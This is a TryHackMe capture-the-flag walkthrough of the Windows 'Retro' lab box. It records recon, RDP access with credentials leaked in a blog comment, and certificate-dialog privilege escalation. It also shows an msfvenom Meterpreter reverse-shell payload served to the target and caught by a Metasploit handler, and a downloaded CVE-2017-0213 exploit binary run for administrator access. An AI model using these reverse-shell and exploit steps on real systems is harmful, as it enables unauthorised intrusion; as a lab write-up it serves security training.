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retro.md

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Retro

tryhackme.com - © TryHackMe

Intro

Room Info
🔗 Name Retro
🎯 Target IP 10.10.181.110
📈 Difficulty level 🟢Easy
💲 Subscription type Free
🪟 OS Windows

Recon

mkdir retro
cd retro
nmap 10.10.181.110
    80/tcp   open  http
    3389/tcp open  ms-wbt-server

nmap -sV -sC -Pn -oA retro 10.10.181.110
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2023-05-13T11:52:02+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=RetroWeb
| Not valid before: 2023-05-12T11:48:35
|_Not valid after:  2023-11-11T11:48:35
| rdp-ntlm-info: 
|   Target_Name: RETROWEB
|   NetBIOS_Domain_Name: RETROWEB
|   NetBIOS_Computer_Name: RETROWEB
|   DNS_Domain_Name: RetroWeb
|   DNS_Computer_Name: RetroWeb
|   Product_Version: 10.0.14393
|_  System_Time: 2023-05-13T11:51:57+00:00
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1s, deviation: 0s, median: 1s

Perform Web Server directories enumeration.

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.10.181.110/FUZZ

[Status: 301, Size: 150, Words: 9, Lines: 2, Duration: 281ms]
    * FUZZ: retro

The enumeration found a folder named /retro.

Use a browser to navigate to:

  • http://10.10.181.110/retro/index.php/2019/12/09/ready-player-one/

📌 Wade user left a comment with his password

Use the credentials to login to the target via the open RDP Port 3389

  • Wade:parzival

I suggest to set the Remmina RDP resolution to a higher one, e.g

  • Open Remmina, + to create a Quick RDP Connect, select the resolution and Save as Default

remmina -c rdp://wade@10.10.181.110

# It will open with the default set up resolution
  • 🚩 Open the user.txt file on Wade's user desktop to get the first flag.
3b99f***************************

Exploitation

Open Internet Explorer to initialize it.

Open Google Chrome and set it as Default web browser in Windows.

The bookmarked link refers to the CVE-2019-1388 - Windows Certificate Dialog Elevation of Privilege Vulnerability.

Check the Recycle Bin and restore the hhupd file.

Exploit the privesc vulnerability present in the Windows Certificate Dialog Box and run cmd with Administrator privileges.

  • Even after the initialization of both the IE and Chrome browsers, there might not be any option for selecting the browser in the opened window.

Meterpreter

Generate a manual payload to get a Metasploit Meterpreter session on the target.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.18.65.48 LPORT=4444 -f exe -o unprivileged-payload.exe
# Start a webserver in the same payload directory
python -m http.server 80

Download the payload on the target browser from this link

  • http://10.18.65.48/unprivileged-payload.exe

Open Metasploit and set up a handler to listen on the 4444 port

msfconsole -q

setg RHOSTS 10.10.181.110
setg RHOST 10.10.181.110
use exploit/multi/handler
# Same as the generated payload
set payload windows/x64/meterpreter/reverse_tcp 
set LHOST 10.18.65.48 
set LPORT 4444
run

Run the unprivileged-payload.exe file on the target machine

Wade Privileges Meterpreter

Get systeminfo from the target and save the output to a file.

shell
systeminfo

Privilege Escalation

Exploit the CVE-2017-0213 - Windows COM Elevation of Privilege Vulnerability

  • Download the CVE-2017-0213_x64.zip package, unzip it and upload the CVE-2017-0213_x86.exe to the target.
wget https://raw.githubusercontent.com/SecWiki/windows-kernel-exploits/2b944b52ee30f8833a21f0805d2627ca1f15383a/CVE-2017-0213/CVE-2017-0213_x86.zip
# In the Meterpreter session
upload CVE-2017-0213_x86.exe

Run the CVE-2017-0213_x86.exe file from the Meterpreter session or using the RDP connection on the target.

shell
.\CVE-2017-0213_x86.exe
  • Check the CMD as Administrator session on the target.

Elevated CMD Session

  • 🚩 Read the root.txt file
cd c:\Users\Administrator\Desktop
type root.txt
7958b***************************

  • Remember that there can be other attack vectors to exploit target's vulnerabilities.